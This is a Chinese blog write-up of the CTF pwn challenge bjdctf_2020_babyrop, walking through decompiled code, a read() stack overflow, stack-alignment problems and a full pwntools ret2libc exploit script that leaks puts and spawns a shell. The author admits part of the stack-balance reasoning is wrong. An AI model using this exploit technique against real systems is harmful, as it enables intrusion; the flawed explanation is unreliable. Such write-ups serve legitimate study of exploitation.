当前位置:网站首页>【CTF】bjdctf_2020_babyrop

【CTF】bjdctf_2020_babyrop

2022-06-23 09:17:00 delta_hell

题目分析

1 反编译,寻找漏洞

undefined8 main(EVP_PKEY_CTX *param_1)
{
    
  init(param_1);
  vuln();
  return 0;
}

从main函数中看,vuln函数大概率就是漏洞所在了。

void vuln(void)
{
    
  undefined local_28 [32];
  
  puts("Pull up your sword and tell me u story!");
  read(0,local_28,100);
  return;
}

果然,read函数的长度限制超出数组长度,典型的溢出。

int init(EVP_PKEY_CTX *ctx)
{
    
  int iVar1;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,1,0);
  puts("Can u return to libc ?");
  iVar1 = puts("Try u best!");
  return iVar1;
}

init函数还直接给出了提示,快速浏览了一遍反编译代码,确实是ret2libc的套路。那从上面这几个函数来看,应该就是使用
puts获取内存地址,计算出system和/bin/sh的内存地址,然后再次溢出,至少理论上应该是这样。

2 解题过程

整个解决思路确实就像上面的分析,但是这里面遇到几个问题:
1 题目中有多个call puts,应该使用哪个?
因为需要两次溢出,所以我首选了vuln函数中的call puts,但是这里遇到了栈平衡问题

                     undefined vuln()
                     vuln                                            XREF[4]:     Entry Point(*), main:004006c0(c), 
                                                                                  004007cc, 00400888(*)  
0040067d 55              PUSH       RBP
0040067e 48 89 e5        MOV        RBP,RSP
00400681 48 83 ec 20     SUB        RSP,0x20
00400685 bf 80 07        MOV        EDI=>s_Pull_up_your_sword_and_tell_me_u_004007   = "Pull up your sword and tell m
         40 00
0040068a e8 51 fe        CALL       puts                                             int puts(char * __s)
         ff ff
0040068f 48 8d 45 e0     LEA        RAX=>local_28,[RBP + -0x20]
00400693 ba 64 00        MOV        EDX,0x64
         00 00
00400698 48 89 c6        MOV        RSI,RAX
0040069b bf 00 00        MOV        EDI,0x0
         00 00
004006a0 b8 00 00        MOV        EAX,0x0
         00 00
004006a5 e8 46 fe        CALL       read                                             ssize_t read(int __fd, void * __
         ff ff
004006aa 90              NOP
004006ab c9              LEAVE
004006ac c3              RET

在00400681处有sub rsp操作,在第一次read执行完之后,在leave的时候会恢复栈平衡,但是如果此时跳转到0040068a后,再次leave就会出现问题,所以最终我选择了使用init函数中的最后一个puts来打印地址。
2 64位的传参
在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。
因此需要找到pop rdi,ret的gadget
3 64位的system调用的大坑
64位的system调用会判断rsp的值是否%16=0;解决方法是在调用system之前使用ret来帮助解决;
然而对齐问题解决就行了吗?不存在的,还是会出现问题。因为这个涉及到栈平衡的问题,所以最好的解决办法,是不要把栈平衡问题遗留到system调用的时候,应该在哪里出现就在哪里解决。
(以上经验来自本题的各种折腾)
4 本题的栈平衡问题
如前述第第一点中的call puts:

00400675 e8 66 fe        CALL       puts                                             int puts(char * __s)
         ff ff
0040067a 90              NOP
0040067b 5d              POP        RBP
0040067c c3              RET

pop rbp;以及第二点的pop rdi;都会引起rsp变化,两次pop,就需要两次push来平衡,但是没找到可利用的push,最终找到了
add rsp,8;可以放在pop之前,起到平衡的作用。
– 这一小段对于栈平衡的理解是错的,pop是rsp增加,push是rsp减少,add rsp,8 与pop是一样的效果,实验了很久,也没得出结论。。。

利用脚本

from pwn import *
  2 from LibcSearcher import *
  3 elf = ELF('bjdctf_2020_babyrop')
  4 libc = ELF('libc-2.27.so') # 根据环境不同进行替换
  5
  6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
  7
  8 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
  9 #shellcode=asm(shellcraft.amd64.linux.sh())
 10 #print(len(shellcode))
 11 #print(shellcode)
 12
 13 sh = process('./bjdctf_2020_babyrop')
 14 sh.recvuntil('story!\n')
 15 pad = 'A' * 40
 16 puts_got_addr = 0x00601018
 17 puts_plt_addr = 0x004004e0
 18 call_puts_addr = 0x00400675
 19 vulner_addr = 0x004006c0 # 返回地址
 20 pop_rdi_ret = 0x00400733
 21
 22 payload = pad.encode()
 # 0x004004c5 add rsp,8; ret
 # 0x004006c0 call vuln
 # 第一个0x004006c0可以为其它值,对应的是call puts后的pop rbp
 23 payload += p64(0x004004c5) + p64(0x004004c5) + p64(pop_rdi_ret) + p64(puts_got_addr) + p64(call_puts_addr) + p64(0x004006c0) + p64(0x004006c0)
 24
 25 sh.sendline(payload)
 26 content = sh.recv()[:6]
 27 mem_addr = int.from_bytes(content, 'little')
 28 print("%#x -> %s" % (puts_got_addr, hex(mem_addr)))
 29
 30 # 优先尝试lib-database查找
 31 # obj = LibcSearcher("puts", mem_addr)
 32 # obj.dump('system')
 33
 34 libc_puts_offset = libc.sym['puts']
 35 print(hex(libc_puts_offset))
 36
 37 libc_system_offset = libc.sym['system']
 38 print(hex(libc_system_offset))
 39
 40 libc_database = mem_addr - libc_puts_offset
 41
 42 mem_system_addr = libc_database + libc_system_offset
 43 print(hex(mem_system_addr))
 44
 45 mem_binsh = libc_database + next(libc.search(b'/bin/sh'))
 46 print(hex(mem_binsh))
 47
 48 ret_addr = 0x004004c9
 49 pad = 'A' * 40
 50 payload1 = pad.encode() + p64(pop_rdi_ret) + p64(mem_binsh) + p64(ret_addr) + p64(mem_system_addr)
 51
 52 sh.sendline(payload1)
 53
 54 with open('payload.txt', 'wb') as f:
 55    f.write(payload)
       f.write(b'\n\n\n\n') # read字符限制,用资格字符填充第一个payload,否则第二个payload会被吞掉4个字符
 56    f.write(payload1)
 57
 58 sh.interactive()

总结

栈的理解依旧没有进展,一叹。。。

原网站

版权声明
本文为[delta_hell]所创,转载请带上原文链接,感谢
https://blog.csdn.net/u011317663/article/details/125348157